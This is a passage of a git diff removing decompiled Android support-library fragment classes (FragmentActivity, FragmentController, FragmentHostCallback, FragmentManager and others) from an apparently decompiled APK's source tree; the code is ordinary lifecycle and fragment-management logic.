strArr[i] = this.mPendingFragmentActivityResults.valueAt(i); - } - bundle.putIntArray(ALLOCATED_REQUEST_INDICIES_TAG, iArr); - bundle.putStringArray(REQUEST_FRAGMENT_WHO_TAG, strArr); - } - } - - @Override // android.app.Activity - protected void onStart() { - super.onStart(); - this.mStopped = false; - this.mReallyStopped = false; - this.mHandler.removeMessages(1); - if (!this.mCreated) { - this.mCreated = true; - this.mFragments.dispatchActivityCreated(); - } - this.mFragments.noteStateNotSaved(); - this.mFragments.execPendingActions(); - this.mFragments.doLoaderStart(); - this.mFragments.dispatchStart(); - this.mFragments.reportLoaderStart(); - } - - @Override // android.app.Activity - protected void onStop() { - super.onStop(); - this.mStopped = true; - this.mHandler.sendEmptyMessage(1); - this.mFragments.dispatchStop(); - } - - public Object getLastCustomNonConfigurationInstance() { - NonConfigurationInstances nonConfigurationInstances = (NonConfigurationInstances) getLastNonConfigurationInstance(); - if (nonConfigurationInstances != null) { - return nonConfigurationInstances.custom; - } - return null; - } - - public void supportInvalidateOptionsMenu() { - ActivityCompatHoneycomb.invalidateOptionsMenu(this); - } - - @Override // android.app.Activity - public void dump(String str, FileDescriptor fileDescriptor, PrintWriter printWriter, String[] strArr) { - printWriter.print(str); - printWriter.print("Local FragmentActivity "); - printWriter.print(Integer.toHexString(System.identityHashCode(this))); - printWriter.println(" State:"); - String str2 = str + " "; - printWriter.print(str2); - printWriter.print("mCreated="); - printWriter.print(this.mCreated); - printWriter.print("mResumed="); - printWriter.print(this.mResumed); - printWriter.print(" mStopped="); - printWriter.print(this.mStopped); - printWriter.print(" mReallyStopped="); - printWriter.println(this.mReallyStopped); - this.mFragments.dumpLoaders(str2, fileDescriptor, printWriter, strArr); - this.mFragments.getSupportFragmentManager().dump(str, fileDescriptor, printWriter, strArr); - printWriter.print(str); - printWriter.println("View Hierarchy:"); - dumpViewHierarchy(str + " ", printWriter, getWindow().getDecorView()); - } - - private static String viewToString(View view) { - String str; - StringBuilder sb = new StringBuilder(128); - sb.append(view.getClass().getName()); - sb.append('{'); - sb.append(Integer.toHexString(System.identityHashCode(view))); - sb.append(' '); - int visibility = view.getVisibility(); - if (visibility == 0) { - sb.append('V'); - } else if (visibility == 4) { - sb.append('I'); - } else if (visibility == 8) { - sb.append('G'); - } else { - sb.append('.'); - } - sb.append(view.isFocusable() ? 'F' : '.'); - sb.append(view.isEnabled() ? 'E' : '.'); - sb.append(view.willNotDraw() ? '.' : 'D'); - sb.append(view.isHorizontalScrollBarEnabled() ? 'H' : '.'); - sb.append(view.isVerticalScrollBarEnabled() ? 'V' : '.'); - sb.append(view.isClickable() ? 'C' : '.'); - sb.append(view.isLongClickable() ? 'L' : '.'); - sb.append(' '); - sb.append(view.isFocused() ? 'F' : '.'); - sb.append(view.isSelected() ? 'S' : '.'); - sb.append(view.isPressed() ? 'P' : '.'); - sb.append(' '); - sb.append(view.getLeft()); - sb.append(','); - sb.append(view.getTop()); - sb.append('-'); - sb.append(view.getRight()); - sb.append(','); - sb.append(view.getBottom()); - int id = view.getId(); - if (id != -1) { - sb.append(" #"); - sb.append(Integer.toHexString(id)); - Resources resources = view.getResources(); - if (id != 0 && resources != null) { - int i = (-16777216) & id; - if (i == 16777216) { - str = "android"; - } else if (i == 2130706432) { - str = "app"; - } else { - try { - str = resources.getResourcePackageName(id); - } catch (Resources.NotFoundException unused) { - } - } - String resourceTypeName = resources.getResourceTypeName(id); - String resourceEntryName = resources.getResourceEntryName(id); - sb.append(" "); - sb.append(str); - sb.append(":"); - sb.append(resourceTypeName); - sb.append("/"); - sb.append(resourceEntryName); - } - } - sb.append("}"); - return sb.toString(); - } - - private void dumpViewHierarchy(String str, PrintWriter printWriter, View view) { - ViewGroup viewGroup; - int childCount; - printWriter.print(str); - if (view == null) { - printWriter.println("null"); - return; - } - printWriter.println(viewToString(view)); - if ((view instanceof ViewGroup) && (childCount = (viewGroup = (ViewGroup) view).getChildCount()) > 0) { - String str2 = str + " "; - for (int i = 0; i < childCount; i++) { - dumpViewHierarchy(str2, printWriter, viewGroup.getChildAt(i)); - } - } - } - - void doReallyStop(boolean z) { - if (this.mReallyStopped) { - if (z) { - this.mFragments.doLoaderStart(); - this.mFragments.doLoaderStop(true); - return; - } - return; - } - this.mReallyStopped = true; - this.mRetaining = z; - this.mHandler.removeMessages(1); - onReallyStop(); - } - - void onReallyStop() { - this.mFragments.doLoaderStop(this.mRetaining); - this.mFragments.dispatchReallyStop(); - } - - public FragmentManager getSupportFragmentManager() { - return this.mFragments.getSupportFragmentManager(); - } - - public LoaderManager getSupportLoaderManager() { - return this.mFragments.getSupportLoaderManager(); - } - - @Override // android.app.Activity - public void startActivityForResult(Intent intent, int i) { - if (!this.mStartedActivityFromFragment && i != -1) { - checkForValidRequestCode(i); - } - super.startActivityForResult(intent, i); - } - - @Override // android.support.v4.app.ActivityCompatApi23.RequestPermissionsRequestCodeValidator - public final void validateRequestPermissionsRequestCode(int i) { - if (this.mRequestedPermissionsFromFragment || i == -1) { - return; - } - checkForValidRequestCode(i); - } - - @Override // android.app.Activity, android.support.v4.app.ActivityCompat.OnRequestPermissionsResultCallback - public void onRequestPermissionsResult(int i, String[] strArr, int[] iArr) { - int i2 = (i >> 16) & SupportMenu.USER_MASK; - if (i2 != 0) { - int i3 = i2 - 1; - String str = this.mPendingFragmentActivityResults.get(i3); - this.mPendingFragmentActivityResults.remove(i3); - if (str == null) { - Log.w(TAG, "Activity result delivered for unknown Fragment."); - return; - } - Fragment findFragmentByWho = this.mFragments.findFragmentByWho(str); - if (findFragmentByWho == null) { - Log.w(TAG, "Activity result no fragment exists for who: " + str); - } else { - findFragmentByWho.onRequestPermissionsResult(i & SupportMenu.USER_MASK, strArr, iArr); - } - } - } - - public void startActivityFromFragment(Fragment fragment, Intent intent, int i) { - startActivityFromFragment(fragment, intent, i, (Bundle) null); - } - - public void startActivityFromFragment(Fragment fragment, Intent intent, int i, Bundle bundle) { - this.mStartedActivityFromFragment = true; - try { - if (i == -1) { - ActivityCompat.startActivityForResult(this, intent, -1, bundle); - return; - } - checkForValidRequestCode(i); - ActivityCompat.startActivityForResult(this, intent, ((allocateRequestIndex(fragment) + 1) << 16) + (i & SupportMenu.USER_MASK), bundle); - } finally { - this.mStartedActivityFromFragment = false; - } - } - - public void startIntentSenderFromFragment(Fragment fragment, IntentSender intentSender, int i, Intent intent, int i2, int i3, int i4, Bundle bundle) throws IntentSender.SendIntentException { - this.mStartedIntentSenderFromFragment = true; - try { - if (i == -1) { - ActivityCompat.startIntentSenderForResult(this, intentSender, i, intent, i2, i3, i4, bundle); - return; - } - checkForValidRequestCode(i); - ActivityCompat.startIntentSenderForResult(this, intentSender, ((allocateRequestIndex(fragment) + 1) << 16) + (i & SupportMenu.USER_MASK), intent, i2, i3, i4, bundle); - } finally { - this.mStartedIntentSenderFromFragment = false; - } - } - - private int allocateRequestIndex(Fragment fragment) { - if (this.mPendingFragmentActivityResults.size() >= MAX_NUM_PENDING_FRAGMENT_ACTIVITY_RESULTS) { - throw new IllegalStateException("Too many pending Fragment activity results."); - } - while (this.mPendingFragmentActivityResults.indexOfKey(this.mNextCandidateRequestIndex) >= 0) { - this.mNextCandidateRequestIndex = (this.mNextCandidateRequestIndex + 1) % MAX_NUM_PENDING_FRAGMENT_ACTIVITY_RESULTS; - } - int i = this.mNextCandidateRequestIndex; - this.mPendingFragmentActivityResults.put(i, fragment.mWho); - this.mNextCandidateRequestIndex = (this.mNextCandidateRequestIndex + 1) % MAX_NUM_PENDING_FRAGMENT_ACTIVITY_RESULTS; - return i; - } - - void requestPermissionsFromFragment(Fragment fragment, String[] strArr, int i) { - if (i == -1) { - ActivityCompat.requestPermissions(this, strArr, i); - return; - } - checkForValidRequestCode(i); - try { - this.mRequestedPermissionsFromFragment = true; - ActivityCompat.requestPermissions(this, strArr, ((allocateRequestIndex(fragment) + 1) << 16) + (i & SupportMenu.USER_MASK)); - } finally { - this.mRequestedPermissionsFromFragment = false; - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - class HostCallbacks extends FragmentHostCallback { - public HostCallbacks() { - super(FragmentActivity.this); - } - - @Override // android.support.v4.app.FragmentHostCallback - public void onDump(String str, FileDescriptor fileDescriptor, PrintWriter printWriter, String[] strArr) { - FragmentActivity.this.dump(str, fileDescriptor, printWriter, strArr); - } - - @Override // android.support.v4.app.FragmentHostCallback - public boolean onShouldSaveFragmentState(Fragment fragment) { - return !FragmentActivity.this.isFinishing(); - } - - @Override // android.support.v4.app.FragmentHostCallback - public LayoutInflater onGetLayoutInflater() { - return FragmentActivity.this.getLayoutInflater().cloneInContext(FragmentActivity.this); - } - - /* JADX WARN: Can't rename method to resolve collision */ - @Override // android.support.v4.app.FragmentHostCallback - public FragmentActivity onGetHost() { - return FragmentActivity.this; - } - - @Override // android.support.v4.app.FragmentHostCallback - public void onSupportInvalidateOptionsMenu() { - FragmentActivity.this.supportInvalidateOptionsMenu(); - } - - @Override // android.support.v4.app.FragmentHostCallback - public void onStartActivityFromFragment(Fragment fragment, Intent intent, int i) { - FragmentActivity.this.startActivityFromFragment(fragment, intent, i); - } - - @Override // android.support.v4.app.FragmentHostCallback - public void onStartActivityFromFragment(Fragment fragment, Intent intent, int i, Bundle bundle) { - FragmentActivity.this.startActivityFromFragment(fragment, intent, i, bundle); - } - - @Override // android.support.v4.app.FragmentHostCallback - public void onStartIntentSenderFromFragment(Fragment fragment, IntentSender intentSender, int i, Intent intent, int i2, int i3, int i4, Bundle bundle) throws IntentSender.SendIntentException { - FragmentActivity.this.startIntentSenderFromFragment(fragment, intentSender, i, intent, i2, i3, i4, bundle); - } - - @Override // android.support.v4.app.FragmentHostCallback - public void onRequestPermissionsFromFragment(Fragment fragment, String[] strArr, int i) { - FragmentActivity.this.requestPermissionsFromFragment(fragment, strArr, i); - } - - @Override // android.support.v4.app.FragmentHostCallback - public boolean onShouldShowRequestPermissionRationale(String str) { - return ActivityCompat.shouldShowRequestPermissionRationale(FragmentActivity.this, str); - } - - @Override // android.support.v4.app.FragmentHostCallback - public boolean onHasWindowAnimations() { - return FragmentActivity.this.getWindow() != null; - } - - @Override // android.support.v4.app.FragmentHostCallback - public int onGetWindowAnimations() { - Window window = FragmentActivity.this.getWindow(); - if (window == null) { - return 0; - } - return window.getAttributes().windowAnimations; - } - - @Override // android.support.v4.app.FragmentHostCallback - public void onAttachFragment(Fragment fragment) { - FragmentActivity.this.onAttachFragment(fragment); - } - - @Override // android.support.v4.app.FragmentHostCallback, android.support.v4.app.FragmentContainer - public View onFindViewById(int i) { - return FragmentActivity.this.findViewById(i); - } - - @Override // android.support.v4.app.FragmentHostCallback, android.support.v4.app.FragmentContainer - public boolean onHasView() { - Window window = FragmentActivity.this.getWindow(); - return (window == null || window.peekDecorView() == null) ? false : true; - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/app/FragmentContainer.java b/apk_3230/decompiled_source/sources/android/support/v4/app/FragmentContainer.java deleted file mode 100644 index 0fdcd0b..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/app/FragmentContainer.java +++ /dev/null @@ -1,9 +0,0 @@ -package android.support.v4.app; - -import android.view.View; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public abstract class FragmentContainer { - public abstract View onFindViewById(int i); - - public abstract boolean onHasView(); -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/app/FragmentController.java b/apk_3230/decompiled_source/sources/android/support/v4/app/FragmentController.java deleted file mode 100644 index f9ef6d5..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/app/FragmentController.java +++ /dev/null @@ -1,206 +0,0 @@ -package android.support.v4.app; - -import android.content.Context; -import android.content.res.Configuration; -import android.os.Parcelable; -import android.support.v4.util.SimpleArrayMap; -import android.util.AttributeSet; -import android.view.Menu; -import android.view.MenuInflater; -import android.view.MenuItem; -import android.view.View; -import java.io.FileDescriptor; -import java.io.PrintWriter; -import java.util.ArrayList; -import java.util.List; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public class FragmentController { - private final FragmentHostCallback mHost; - - public static final FragmentController createController(FragmentHostCallback fragmentHostCallback) { - return new FragmentController(fragmentHostCallback); - } - - private FragmentController(FragmentHostCallback fragmentHostCallback) { - this.mHost = fragmentHostCallback; - } - - public FragmentManager getSupportFragmentManager() { - return this.mHost.getFragmentManagerImpl(); - } - - public LoaderManager getSupportLoaderManager() { - return this.mHost.getLoaderManagerImpl(); - } - - public Fragment findFragmentByWho(String str) { - return this.mHost.mFragmentManager.findFragmentByWho(str); - } - - public int getActiveFragmentsCount() { - ArrayList arrayList = this.mHost.mFragmentManager.mActive; - if (arrayList == null) { - return 0; - } - return arrayList.size(); - } - - public List getActiveFragments(List list) { - if (this.mHost.mFragmentManager.mActive == null) { - return null; - } - if (list == null) { - list = new ArrayList<>(getActiveFragmentsCount()); - } - list.addAll(this.mHost.mFragmentManager.mActive); - return list; - } - - public void attachHost(Fragment fragment) { - FragmentManagerImpl fragmentManagerImpl = this.mHost.mFragmentManager; - FragmentHostCallback fragmentHostCallback = this.mHost; - fragmentManagerImpl.attachController(fragmentHostCallback, fragmentHostCallback, fragment); - } - - public View onCreateView(View view, String str, Context context, AttributeSet attributeSet) { - return this.mHost.mFragmentManager.onCreateView(view, str, context, attributeSet); - } - - public void noteStateNotSaved() { - this.mHost.mFragmentManager.noteStateNotSaved(); - } - - public Parcelable saveAllState() { - return this.mHost.mFragmentManager.saveAllState(); - } - - @Deprecated - public void restoreAllState(Parcelable parcelable, List list) { - this.mHost.mFragmentManager.restoreAllState(parcelable, new FragmentManagerNonConfig(list, null)); - } - - public void restoreAllState(Parcelable parcelable, FragmentManagerNonConfig fragmentManagerNonConfig) { - this.mHost.mFragmentManager.restoreAllState(parcelable, fragmentManagerNonConfig); - } - - @Deprecated - public List retainNonConfig() { - FragmentManagerNonConfig retainNonConfig = this.mHost.mFragmentManager.retainNonConfig(); - if (retainNonConfig != null) { - return retainNonConfig.getFragments(); - } - return null; - } - - public FragmentManagerNonConfig retainNestedNonConfig() { - return this.mHost.mFragmentManager.retainNonConfig(); - } - - public void dispatchCreate() { - this.mHost.mFragmentManager.dispatchCreate(); - } - - public void dispatchActivityCreated() { - this.mHost.mFragmentManager.dispatchActivityCreated(); - } - - public void dispatchStart() { - this.mHost.mFragmentManager.dispatchStart(); - } - - public void dispatchResume() { - this.mHost.mFragmentManager.dispatchResume(); - } - - public void dispatchPause() { - this.mHost.mFragmentManager.dispatchPause(); - } - - public void dispatchStop() { - this.mHost.mFragmentManager.dispatchStop(); - } - - public void dispatchReallyStop() { - this.mHost.mFragmentManager.dispatchReallyStop(); - } - - public void dispatchDestroyView() { - this.mHost.mFragmentManager.dispatchDestroyView(); - } - - public void dispatchDestroy() { - this.mHost.mFragmentManager.dispatchDestroy(); - } - - public void dispatchMultiWindowModeChanged(boolean z) { - this.mHost.mFragmentManager.dispatchMultiWindowModeChanged(z); - } - - public void dispatchPictureInPictureModeChanged(boolean z) { - this.mHost.mFragmentManager.dispatchPictureInPictureModeChanged(z); - } - - public void dispatchConfigurationChanged(Configuration configuration) { - this.mHost.mFragmentManager.dispatchConfigurationChanged(configuration); - } - - public void dispatchLowMemory() { - this.mHost.mFragmentManager.dispatchLowMemory(); - } - - public boolean dispatchCreateOptionsMenu(Menu menu, MenuInflater menuInflater) { - return this.mHost.mFragmentManager.dispatchCreateOptionsMenu(menu, menuInflater); - } - - public boolean dispatchPrepareOptionsMenu(Menu menu) { - return this.mHost.mFragmentManager.dispatchPrepareOptionsMenu(menu); - } - - public boolean dispatchOptionsItemSelected(MenuItem menuItem) { - return this.mHost.mFragmentManager.dispatchOptionsItemSelected(menuItem); - } - - public boolean dispatchContextItemSelected(MenuItem menuItem) { - return this.mHost.mFragmentManager.dispatchContextItemSelected(menuItem); - } - - public void dispatchOptionsMenuClosed(Menu menu) { - this.mHost.mFragmentManager.dispatchOptionsMenuClosed(menu); - } - - public boolean execPendingActions() { - return this.mHost.mFragmentManager.execPendingActions(); - } - - public void doLoaderStart() { - this.mHost.doLoaderStart(); - } - - public void doLoaderStop(boolean z) { - this.mHost.doLoaderStop(z); - } - - public void doLoaderRetain() { - this.mHost.doLoaderRetain(); - } - - public void doLoaderDestroy() { - this.mHost.doLoaderDestroy(); - } - - public void reportLoaderStart() { - this.mHost.reportLoaderStart(); - } - - public SimpleArrayMap retainLoaderNonConfig() { - return this.mHost.retainLoaderNonConfig(); - } - - public void restoreLoaderNonConfig(SimpleArrayMap simpleArrayMap) { - this.mHost.restoreLoaderNonConfig(simpleArrayMap); - } - - public void dumpLoaders(String str, FileDescriptor fileDescriptor, PrintWriter printWriter, String[] strArr) { - this.mHost.dumpLoaders(str, fileDescriptor, printWriter, strArr); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/app/FragmentHostCallback.java b/apk_3230/decompiled_source/sources/android/support/v4/app/FragmentHostCallback.java deleted file mode 100644 index abdd518..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/app/FragmentHostCallback.java +++ /dev/null @@ -1,293 +0,0 @@ -package android.support.v4.app; - -import android.app.Activity; -import android.content.Context; -import android.content.Intent; -import android.content.IntentSender; -import android.os.Bundle; -import android.os.Handler; -import android.support.v4.util.SimpleArrayMap; -import android.view.LayoutInflater; -import android.view.View; -import java.io.FileDescriptor; -import java.io.PrintWriter; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public abstract class FragmentHostCallback extends FragmentContainer { - private final Activity mActivity; - private SimpleArrayMap mAllLoaderManagers; - private boolean mCheckedForLoaderManager; - final Context mContext; - final FragmentManagerImpl mFragmentManager; - private final Handler mHandler; - private LoaderManagerImpl mLoaderManager; - private boolean mLoadersStarted; - private boolean mRetainLoaders; - final int mWindowAnimations; - - /* JADX INFO: Access modifiers changed from: package-private */ - public void onAttachFragment(Fragment fragment) { - } - - public void onDump(String str, FileDescriptor fileDescriptor, PrintWriter printWriter, String[] strArr) { - } - - @Override // android.support.v4.app.FragmentContainer - public View onFindViewById(int i) { - return null; - } - - public abstract E onGetHost(); - - @Override // android.support.v4.app.FragmentContainer - public boolean onHasView() { - return true; - } - - public boolean onHasWindowAnimations() { - return true; - } - - public void onRequestPermissionsFromFragment(Fragment fragment, String[] strArr, int i) { - } - - public boolean onShouldSaveFragmentState(Fragment fragment) { - return true; - } - - public boolean onShouldShowRequestPermissionRationale(String str) { - return false; - } - - public void onSupportInvalidateOptionsMenu() { - } - - public FragmentHostCallback(Context context, Handler handler, int i) { - this(null, context, handler, i); - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public FragmentHostCallback(FragmentActivity fragmentActivity) { - this(fragmentActivity, fragmentActivity, fragmentActivity.mHandler, 0); - } - - FragmentHostCallback(Activity activity, Context context, Handler handler, int i) { - this.mFragmentManager = new FragmentManagerImpl(); - this.mActivity = activity; - this.mContext = context; - this.mHandler = handler; - this.mWindowAnimations = i; - } - - public LayoutInflater onGetLayoutInflater() { - return (LayoutInflater) this.mContext.getSystemService("layout_inflater"); - } - - public void onStartActivityFromFragment(Fragment fragment, Intent intent, int i) { - onStartActivityFromFragment(fragment, intent, i, null); - } - - public void onStartActivityFromFragment(Fragment fragment, Intent intent, int i, Bundle bundle) { - if (i != -1) { - throw new IllegalStateException("Starting activity with a requestCode requires a FragmentActivity host"); - } - this.mContext.startActivity(intent); - } - - public void onStartIntentSenderFromFragment(Fragment fragment, IntentSender intentSender, int i, Intent intent, int i2, int i3, int i4, Bundle bundle) throws IntentSender.SendIntentException { - if (i != -1) { - throw new IllegalStateException("Starting intent sender with a requestCode requires a FragmentActivity host"); - } - ActivityCompat.startIntentSenderForResult(this.mActivity, intentSender, i, intent, i2, i3, i4, bundle); - } - - public int onGetWindowAnimations() { - return this.mWindowAnimations; - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public Activity getActivity() { - return this.mActivity; - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public Context getContext() { - return this.mContext; - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public Handler getHandler() { - return this.mHandler; - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public FragmentManagerImpl getFragmentManagerImpl() { - return this.mFragmentManager; - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public LoaderManagerImpl getLoaderManagerImpl() { - LoaderManagerImpl loaderManagerImpl = this.mLoaderManager; - if (loaderManagerImpl != null) { - return loaderManagerImpl; - } - this.mCheckedForLoaderManager = true; - LoaderManagerImpl loaderManager = getLoaderManager("(root)", this.mLoadersStarted, true); - this.mLoaderManager = loaderManager; - return loaderManager; - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public void inactivateFragment(String str) { - LoaderManagerImpl loaderManagerImpl; - SimpleArrayMap simpleArrayMap = this.mAllLoaderManagers; - if (simpleArrayMap == null || (loaderManagerImpl = (LoaderManagerImpl) simpleArrayMap.get(str)) == null || loaderManagerImpl.mRetaining) { - return; - } - loaderManagerImpl.doDestroy(); - this.mAllLoaderManagers.remove(str); - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public boolean getRetainLoaders() { - return this.mRetainLoaders; - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public void doLoaderStart() { - if (this.mLoadersStarted) { - return; - } - this.mLoadersStarted = true; - LoaderManagerImpl loaderManagerImpl = this.mLoaderManager; - if (loaderManagerImpl != null) { - loaderManagerImpl.doStart(); - } else if (!this.mCheckedForLoaderManager) { - LoaderManagerImpl loaderManager = getLoaderManager("(root)", true, false); - this.mLoaderManager = loaderManager; - if (loaderManager != null && !loaderManager.mStarted) { - this.mLoaderManager.doStart(); - } - } - this.mCheckedForLoaderManager = true; - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public void doLoaderStop(boolean z) { - this.mRetainLoaders = z; - LoaderManagerImpl loaderManagerImpl = this.mLoaderManager; - if (loaderManagerImpl != null && this.mLoadersStarted) { - this.mLoadersStarted = false; - if (z) { - loaderManagerImpl.doRetain(); - } else { - loaderManagerImpl.doStop(); - } - } - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public void doLoaderRetain() { - LoaderManagerImpl loaderManagerImpl = this.mLoaderManager; - if (loaderManagerImpl == null) { - return; - } - loaderManagerImpl.doRetain(); - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public void doLoaderDestroy() { - LoaderManagerImpl loaderManagerImpl = this.mLoaderManager; - if (loaderManagerImpl == null) { - return; - } - loaderManagerImpl.doDestroy(); - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public void reportLoaderStart() { - SimpleArrayMap simpleArrayMap = this.mAllLoaderManagers; - if (simpleArrayMap != null) { - int size = simpleArrayMap.size(); - LoaderManagerImpl[] loaderManagerImplArr = new LoaderManagerImpl[size]; - for (int i = size - 1; i >= 0; i--) { - loaderManagerImplArr[i] = (LoaderManagerImpl) this.mAllLoaderManagers.valueAt(i); - } - for (int i2 = 0; i2 < size; i2++) { - LoaderManagerImpl loaderManagerImpl = loaderManagerImplArr[i2]; - loaderManagerImpl.finishRetain(); - loaderManagerImpl.doReportStart(); - } - } - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public LoaderManagerImpl getLoaderManager(String str, boolean z, boolean z2) { - if (this.mAllLoaderManagers == null) { - this.mAllLoaderManagers = new SimpleArrayMap<>(); - } - LoaderManagerImpl loaderManagerImpl = (LoaderManagerImpl) this.mAllLoaderManagers.get(str); - if (loaderManagerImpl != null) { - loaderManagerImpl.updateHostController(this); - return loaderManagerImpl; - } else if (z2) { - LoaderManagerImpl loaderManagerImpl2 = new LoaderManagerImpl(str, this, z); - this.mAllLoaderManagers.put(str, loaderManagerImpl2); - return loaderManagerImpl2; - } else { - return loaderManagerImpl; - } - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public SimpleArrayMap retainLoaderNonConfig() { - SimpleArrayMap simpleArrayMap = this.mAllLoaderManagers; - if (simpleArrayMap != null) { - int size = simpleArrayMap.size(); - LoaderManagerImpl[] loaderManagerImplArr = new LoaderManagerImpl[size]; - for (int i = size - 1; i >= 0; i--) { - loaderManagerImplArr[i] = (LoaderManagerImpl) this.mAllLoaderManagers.valueAt(i); - } - boolean retainLoaders = getRetainLoaders(); - boolean z = false; - for (int i2 = 0; i2 < size; i2++) { - LoaderManagerImpl loaderManagerImpl = loaderManagerImplArr[i2]; - if (!loaderManagerImpl.mRetaining && retainLoaders) { - if (!loaderManagerImpl.mStarted) { - loaderManagerImpl.doStart(); - } - loaderManagerImpl.doRetain(); - } - if (loaderManagerImpl.mRetaining) { - z = true; - } else { - loaderManagerImpl.doDestroy(); - this.mAllLoaderManagers.remove(loaderManagerImpl.mWho); - } - } - if (z) { - return this.mAllLoaderManagers; - } - return null; - } - return null; - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public void restoreLoaderNonConfig(SimpleArrayMap simpleArrayMap) { - this.mAllLoaderManagers = simpleArrayMap; - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public void dumpLoaders(String str, FileDescriptor fileDescriptor, PrintWriter printWriter, String[] strArr) { - printWriter.print(str); - printWriter.print("mLoadersStarted="); - printWriter.println(this.mLoadersStarted); - if (this.mLoaderManager != null) { - printWriter.print(str); - printWriter.print("Loader Manager "); - printWriter.print(Integer.toHexString(System.identityHashCode(this.mLoaderManager))); - printWriter.println(":"); - this.mLoaderManager.dump(str + " ", fileDescriptor, printWriter, strArr); - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/app/FragmentManager.java b/apk_3230/decompiled_source/sources/android/support/v4/app/FragmentManager.java deleted file mode 100644 index 9f441c8..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/app/FragmentManager.java +++ /dev/null @@ -1,80 +0,0 @@ -package android.support.v4.app; - -import android.os.Bundle; -import android.support.v4.app.Fragment; -import java.io.FileDescriptor; -import java.io.PrintWriter; -import java.util.List; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public abstract class FragmentManager { - public static final int POP_BACK_STACK_INCLUSIVE = 1; - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public interface BackStackEntry { - CharSequence getBreadCrumbShortTitle(); - - int getBreadCrumbShortTitleRes(); - - CharSequence getBreadCrumbTitle(); - - int getBreadCrumbTitleRes(); - - int getId(); - - String getName(); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public interface OnBackStackChangedListener { - void onBackStackChanged(); - } - - public abstract void addOnBackStackChangedListener(OnBackStackChangedListener onBackStackChangedListener); - - public abstract FragmentTransaction beginTransaction(); - - public abstract void dump(String str, FileDescriptor fileDescriptor, PrintWriter printWriter, String[] strArr); - - public abstract boolean executePendingTransactions(); - - public abstract Fragment findFragmentById(int i); - - public abstract Fragment findFragmentByTag(String str); - - public abstract BackStackEntry getBackStackEntryAt(int i); - - public abstract int getBackStackEntryCount(); - - public abstract Fragment getFragment(Bundle bundle, String str); - - public abstract List getFragments(); - - public abstract boolean isDestroyed(); - - public abstract void popBackStack(); - - public abstract void popBackStack(int i, int i2); - - public abstract void popBackStack(String str, int i); - - public abstract boolean popBackStackImmediate(); - - public abstract boolean popBackStackImmediate(int i, int i2); - - public abstract boolean popBackStackImmediate(String str, int i); - - public abstract void putFragment(Bundle bundle, String str, Fragment fragment); - - public abstract void removeOnBackStackChangedListener(OnBackStackChangedListener onBackStackChangedListener); - - public abstract Fragment.SavedState saveFragmentInstanceState(Fragment fragment); - - @Deprecated - public FragmentTransaction openTransaction() { - return beginTransaction(); - } - - public static void enableDebugLogging(boolean z) { - FragmentManagerImpl.DEBUG = z; - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/app/FragmentManagerImpl.java b/apk_3230/decompiled_source/sources/android/support/v4/app/FragmentManagerImpl.java deleted file mode 100644 index 51a42e8..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/app/FragmentManagerImpl.java +++ /dev/null @@ -1,1762 +0,0 @@ -package android.support.v4.app; - -import android.content.Context; -import android.content.res.Configuration; -import android.content.res.TypedArray; -import android.os.Bundle; -import android.os.Handler; -import android.os.Looper; -import android.os.Parcelable; -import android.support.v4.app.BackStackRecord; -import android.support.v4.app.Fragment; -import android.support.v4.app.FragmentManager; -import android.support.v4.os.BuildCompat; -import android.support.v4.util.DebugUtils; -import android.support.v4.util.LogWriter; -import android.support.v4.view.LayoutInflaterFactory; -import android.support.v4.view.ViewCompat; -import android.util.AttributeSet; -import android.util.Log; -import android.util.SparseArray; -import android.view.Menu; -import android.view.MenuInflater; -import android.view.MenuItem; -import android.view.View; -import android.view.animation.AccelerateInterpolator; -import android.view.animation.AlphaAnimation; -import android.view.animation.Animation; -import android.view.animation.AnimationSet; -import android.view.animation.AnimationUtils; -import android.view.animation.DecelerateInterpolator; -import android.view.animation.Interpolator; -import android.view.animation.ScaleAnimation; -import java.io.FileDescriptor; -import java.io.PrintWriter; -import java.lang.reflect.Field; -import java.util.ArrayList; -import java.util.Arrays; -import java.util.List; -/* JADX INFO: Access modifiers changed from: package-private */ -/* compiled from: FragmentManager.java */ -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class FragmentManagerImpl extends FragmentManager implements LayoutInflaterFactory { - static final int ANIM_DUR = 220; - public static final int ANIM_STYLE_CLOSE_ENTER = 3; - public static final int ANIM_STYLE_CLOSE_EXIT = 4; - public static final int ANIM_STYLE_FADE_ENTER = 5; - public static final int ANIM_STYLE_FADE_EXIT = 6; - public static final int ANIM_STYLE_OPEN_ENTER = 1; - public static final int ANIM_STYLE_OPEN_EXIT = 2; - static boolean DEBUG = false; - static final String TAG = "FragmentManager"; - static final String TARGET_REQUEST_CODE_STATE_TAG = "android:target_req_state"; - static final String TARGET_STATE_TAG = "android:target_state"; - static final String USER_VISIBLE_HINT_TAG = 